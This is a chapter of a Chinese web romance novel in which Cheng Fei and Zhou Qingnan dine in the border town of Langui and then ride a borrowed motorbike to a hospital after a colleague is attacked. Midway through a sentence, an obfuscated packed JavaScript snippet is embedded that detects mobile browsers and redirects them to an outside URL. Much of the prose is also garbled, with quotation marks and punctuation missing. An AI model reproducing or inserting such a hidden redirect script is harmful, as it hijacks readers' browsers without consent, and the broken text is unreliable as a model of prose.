从始至终都是一副懒倦散漫仿佛心绪没有任何起伏的模样。 程菲先还没反应过来眨了眨眼睛余光一瞥看见自己手上还捏着这位大佬的画册这才回过神窘迫得脸微红忙将画册交还给他。 男人接过画册合上了随手往旁边的书桌上一撂。 “出去吃饭。”周清南没什么语气地道。 说完他便微侧身绕过咫尺之遥的姑娘踏着步子径直往房门口走。 擦肩而过的刹那。 程菲十根纤细的指不由自主收紧,也不知哪根筋没搭对,竟忽然拔高了音量,脱口而出:“余烈。” 喊完,她心跳猛地漏掉一拍,心口发紧,抬起了眼帘。 窗外的天空像一匹被墨染出来的巨大绸缎,室内那点微弱的光线不足以抵挡,几乎被浓夜吞噬。 周清南人已经走到房门口,高大颀长的背影沉静而清挺,像一株矗立在黑夜里的乔木,永远只在无声亦无人的地方安静存在。 那样的孤独。 听见背后的声音,周清南脚下的步子停下了。 然后,他咬着烟回过头,用带点儿困惑又带点儿探究的目光望向程菲。 程菲轻轻呼出一口气,问他:“你在桐树巷生活过,那你有没有听说过这个名字?” 周清南听她说着,把嘴里的烟拿了下来,没有点燃,只是捏在手里漫不经心地转。 转到第三圈的时候,他像是过完了一遍关于那个地方的回忆,漠然地摇了摇头:“没有。” “……哦,没有就算了。”程菲看着那双深沉平静的眸,笑笑说。 周清南视线从她脸上撤回,转身离去,走出大门的时候头也不回扔来一句话,道:“出来记得关门。” “好的。” 程菲应一声,余光扫过那个被周清南放回桌上的灰封面画册,轻轻咬了咬唇瓣,若有所思,然后才提步跟上去。 * 兰贵是个坐落在边境线上的小县城,间隔几百公里就是口岸,整座县城常住人口少得可怜,并且聚集了一些往返境内外做生意的东南亚人,龙蛇混杂。 在此背景下,兰贵不仅基础设施相较内陆的城市落后,就连治安也差了不少。 一到晚上,街道上便不剩几家开门营业的店铺,也瞧不见几个大活人。 程菲和周清南从酒店出去后,选了三岔路口靠北边方向的那条,边走边找吃的。 很幸运,走了不到五百米,便发现一家还在营业的小餐馆。 两人走进去。 餐馆老板是个五十来岁的中年人,本来都打算关门了,瞧见客人上门,颇有几分惊喜,当即热情地将程菲和周清南迎进去,热情地说了句什么。 老板说的是兰贵本地的方言,程菲有点没听 懂,正准备再问一遍,却听身旁的周清南开口回了话。 “好嘞,二位稍等一哈。老板看出他们是外地人,笑容满面地回了句普通话,之后便进厨房忙活开,起锅烧灶。 程菲转头,颇有几分吃惊地望向周清南,诧异道:“你以前来过兰贵吗? 周清南扭头一瞧,边儿上正好一个空桌子。他落座,边从筷筒里抽出一双一次性筷子递给程菲,边随口应他,“没有。 程菲:“那你怎么懂兰贵的方言?会听还会说? 周清南耷拉着眼皮,又随手扯了张纸巾,擦拭起程菲面前的桌面,语气淡淡:“我对云南挺熟的,凌城、平南、乌市都待过。兰贵话和云南官话差不多。 “原来是这样。程菲了然地点点头,顿了下,又好奇地问,“那刚才老板说的什么呀? 周清南:“问想吃点什么。 程菲眨眨眼:“那你怎么回的? 周清南:“我说要两碗饵丝。 程菲颔首,对这位大佬的点餐表示认同,“中午吃饭的时候就有一道炒饵丝,看来是这里的特色菜。 两人有一搭没一搭地闲聊着,没一会儿,两碗热腾腾的清汤饵丝便端上了桌。 这回儿已经是晚上的九点钟,程菲睡了一下午,起床到刚才都没觉得饿,可一闻到饵丝的香味,她肚子里的馋虫大军便倾巢而出,瞬间饿得咕咕叫。 也懒得讲礼数等甲方大佬先动筷,她抄起筷子便开吃。 周清南见她吃相豪迈,两只腮帮被饵丝塞得鼓鼓囊囊,跟只松鼠似的,嘴角勾了勾,忍俊不禁,拿筷子将饵丝拌匀,也低了头默不作声地吃起来。 正吃着,忽然,一阵手机铃声响起来。 程菲停下筷子,将嘴里的饵丝咽下,随手扯过一张纸巾擦嘴,然后才掏出手机。 看眼来电显示,居然是小赵主任赵逸文打来的。 程菲困惑地扬了扬眉,滑开接听键:“喂,小赵主任。 听筒对面很快便传出赵逸文的声音,语气听上去颇有几分焦灼。 仅仅两秒,程菲的脸色便以肉眼可见的速度沉下去。 她飞快挂断电话,也顾不上碗里的饵丝还剩一大半了,起身就准备走。 周清 南见状,微蹙眉,撩起眼皮瞧对面的姑娘,问:“怎么了? “梁主任出事了,说是在一条巷子里让人揍得头破血流。程菲语速飞快,说话的同时人已经从椅子上站起来,飞奔朝外,“我得马上去医院。 听完程菲的话,周清南眯了眯眼睛,瞬间就明白过来是怎么回事。 拿手机扫完墙上的付款码,大步跟出。 夜深人静,街道上空无一人,吹过来的晚风也夹杂着滚滚热浪。一盏路灯悬在夜空下方,玻璃罩外有几只飞蛾,围着灯光扑来扑去,在地面上投落巨大的阴影,看着怪异又可怕。 程菲在餐馆外的马路牙子上站定,左右环视一圈,见这附近不像有出租车的样子,只好又从裤兜里掏出手机,准备叫个网约车。 将目的地设置为“兰贵县人民医院后,她点击了“发送订单。 正焦灼地等待接单,忽闻背后有脚步声传来,沉稳有力。 程菲微怔,下意识回头看了眼,眸光惊跳。 程菲愕然地说:“……周总,你就吃完了吗? 周清南看她一眼:“你都走了我还吃什么。 “…… 我走了跟你吃饭有什么关系? 没有我你就吃不下饭了? 程菲被呛了下,默了默,又问:“那你现在是回酒店吗? “你不是要去医院。周清南说,“我陪你。 “……周总,你是不是没听清楚,我是去医院。那又不是什么好地方。程菲又纳闷儿又费解,很诚恳地道,“我跟梁瀚是一个团队的,加上他又是我的上级,他受伤我是必须去看看。你又不待见梁瀚,跟着干什么? 周清南目光微沉,直勾勾盯着她:“谁管那个姓梁的是死是活,我只关心你。 “……程菲愣怔住,耳根发烫,一时间脑子都有点空白了,只能呆呆地望着他。 “程菲小姐,如果你记性不好,那我再最后跟你强调一次。 周清南嗓音微沉,道,“梅家那个小少爷不是你想的那么简单,这次的兰贵之行,也不会如你期望的那样顺利。背后盯着你的眼睛太多了,只有我,会全心全意保护你,也只有我,有这个能力护下你。 话音落地,平地起了一阵 风。 程菲几缕耳发被风吹得翻飞起舞,发尖扫着脸蛋,酥酥麻麻的痒。 周清南本就气场冷峻,沉下声音说话时,侵略感更是强到无以复加。 程菲有点被吓住了,无意识地轻咽下一口唾沫,看着他,忽然说:“其实一直很想知道,萍水相逢,你为什么……要对我这么关照?” 周清南深邃的眸牢牢锁住她,看她须臾,将目光移开,极其冷静地道:“一开始你就不应该卷进来。现在开弓没有回头箭,我们既然被绑在了一起,我就有责任护你周全。” 责任? 这个说辞的说服力显然有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717619|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不足。 程菲心口一阵一阵地发紧,眼帘低垂下去。片刻,不想再对这个问题刨根问底,便做了个深呼吸,点点头,换上轻松的口吻应道:“好吧,那你就跟我一起去医院。” 周清南:“不止是医院,不止是今天。” 程菲没懂他话里的意思,白皙的脸蛋上流露出一丝迷茫。 周清南面无表情地说:“在你回到滨港之前,你必须24小时跟我待在一起。” 程菲:“……” 程菲卡壳,额头滑下一滴豆大的冷汗,只觉他这个要求实在强人所难。 顿了半秒后,她换上一副微笑脸,用最温和的语气柔声道:“我们是一个考察团的,白天本来就会一起行动,待一块儿倒说得过去。可是周总,晚上我们总要回各自的房间睡觉,怎么可能24小时都待一起?” 周清南:“睡觉的事我再想办法。” “……”这还能想办法? 周清南笔直注视着她,态度强势霸道,竟不容反驳般:“总之,你不能离开我的视线。” 程菲无语,抬手捏了捏眉心,念头一转想起梁主任还在县医院的急诊科里躺着,顿时也没心思跟这位大佬瞎扯了,举起双手作投降状,妥协道:“行吧,我觉得可以。暂时就按你说的办。” 程菲紧接着又道:“所以我们现在先打个车去医院好吗?” 周清南正要说话,就在这时,背后小餐馆的老板却走了出来。 老板是个热心肠的本地人,见这两个小年轻在自个儿门口杵了半天,已经猜到他们在为交通工具发愁。 于是笑着用一口蹩脚的普通 话问:“你们这是要克(去)哪儿嘛?” 这句话程菲听明白了。她赶紧朝胖老板露出个笑容回答说:“是这样的老板我们有个朋友生病了在县医院我刚才看了地图这儿离县医院还有将近三公里走路肯定走不过去我就想在网上打个车。” 老板:“网约车啊?哎呀我们这个县总共才那点儿人白天你想叫个车都不容易莫说晚上咯。” 听见这话程菲顿时焦灼起来蹙眉道:“那怎么办啊……我们现在必须要赶到医院去 胖老板抹了把秃瓢的脑门儿眼神在程菲和周清南身上打量一圈。 这两个外地人衣着光鲜看起来不像是缺钱的样子。 胖老板又问:“美女你们外地来的住哪儿?” “就住旁边的酒店。我们是电视台的人来这里搞扶贫的。”程菲说着将随身携带的工作证拿出来给老板看。 胖老板便不再有顾虑说:“这个样吧。你们要是不嫌弃给个10块钱租车费我把我的烂摩托借给你们你们用完也不用管油钱骑回来还给我就是了。” “你是说机车?”程菲窘迫支吾着道“可是我不会骑……” 她话还没说完一旁的周清南却已经摸出一盒烟给老板丢了回去。 “车费回来给。”周清南随口说“这个就当押金。” 胖老板仔细一瞧见是包软中脸上顿时笑开一朵花边应着“行行行”边从旁边的犄角旮旯里推出一辆黑灰相间的机车。 头盔就一个周清南脸色淡淡随手取下来丢给程菲。 程菲下意识举起双手接过。 再抬眼时那位爷已经长腿一跨骑上去轰隆一声拧燃引擎。然后侧过头来瞧着她说:“上车。” 程菲有点犹豫挪着步子走过去跨坐在了后面的后座位置。 戴上头盔。 她系着下巴底下的卡扣完了微僵两手不知往哪儿抓只能往后摸索抓住了后方凸起的铁栏杆尽量不让自己的身体和周清南接触。 “你确定自己可以?”程菲望着男人漂亮的后脑勺小声嘀咕“不会出什么事故吧。” “胆子这么小。”周清南上半身微 弓语气漫不经心轻嗤“真不知道汽修厂那天晚上是谁给你的勇气冲我跟前来。” 糗事被重提程菲囧了红着脸低嗔:“……好好骑你的车。要是把我摔沟里我就只能去县医院陪梁主任了!” “怕什么。”周清南淡淡地说“真摔沟里不还有老子给你当人肉垫。” 程菲:“……” “坐稳。” 话音落地机车“轰”一声飞驰而出。 程菲低呼出声整个身子在惯性作用下猛往前甩额头瞬间撞上男人硬邦邦的背部肌群。慌乱间完全是本能寻求庇护的举动她两只胳膊一把抱住男人劲瘦的窄腰与他贴得严丝合缝。 夜晚的小城风声消寂机车仿佛一支箭在街道上畅通无阻穿云破雾。 狂风凛凛周清南身上的衬衣鼓起了风黑色短发也被吹得凌乱。 街灯流转的光线一点一滴坠入那双深邃如海的眸。 察觉到腰腹的收束他视线微不可察地下移。 姑娘两只纤细的胳膊环在他腰上不知是害怕还是慌乱十根手指在他腹部交握抱得死紧全然依赖与信任的姿态。 周清南目光收回来看向那条混沌黑暗充满未知的前路嘴角很轻地勾了勾。 机车速度太快风声如雷灌彻耳际。 程菲抱着周清南的腰贴得太近他的体温如此陌生又炽热隔着单薄的衣衫布料几乎灼痛了她的皮肤。 如此顺理成章的亲近不需顾及世俗 她眨了眨眼睛目光透过头盔的玻璃前挡怔怔望着身前的男人。 余光里斑驳街景急速倒退一切都是模糊的镜花水月如梦似幻唯有他真切存在每寸血肉都如此鲜活会用血肉之躯为她挡去所有风浪。 “……”程菲轻轻合上了眼眸。 忽然生出一种诡异的希冀。 希望这条只有他们两个的路永远、永远都到不了终点。 不知过了多久。 程菲冷不丁启唇轻唤了一声:“周清南。” “嗯?” “你有没有想过以后如果不干这行了打算做点什么?” 周清南顿了几秒回答:“没想过。” 程菲对这个回答似乎并不诧异安静了会儿又问:“从来没考虑过未来吗?” “没有。”周清南平静地说。 程菲眼底泛起一丝细微的惆怅没有再说话只是沉默地抱紧他悄悄将脸颊轻贴上他的背。 周清南薄唇紧抿成一条线眸色极深将油门轰到最大。 风声更烈了。 身不由己的人好像从来没有资格考虑未来。 拂晓未至爱意难言。 只是如果有如果。 作者有话要说 烈哥彻底藏不住了菲菲仔也开始怀疑了这一对是真的心酸不过也快破局了!! 隔壁《寒鸦》《炙吻》《半吟》《亲昵》那几对都没有这么苦的但是我真的太喜欢菲菲仔和烈哥这种感情了前期的苦都是为了后期铺天盖地的糖!!!冲啊我的两个崽!! 随机红包包~ 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦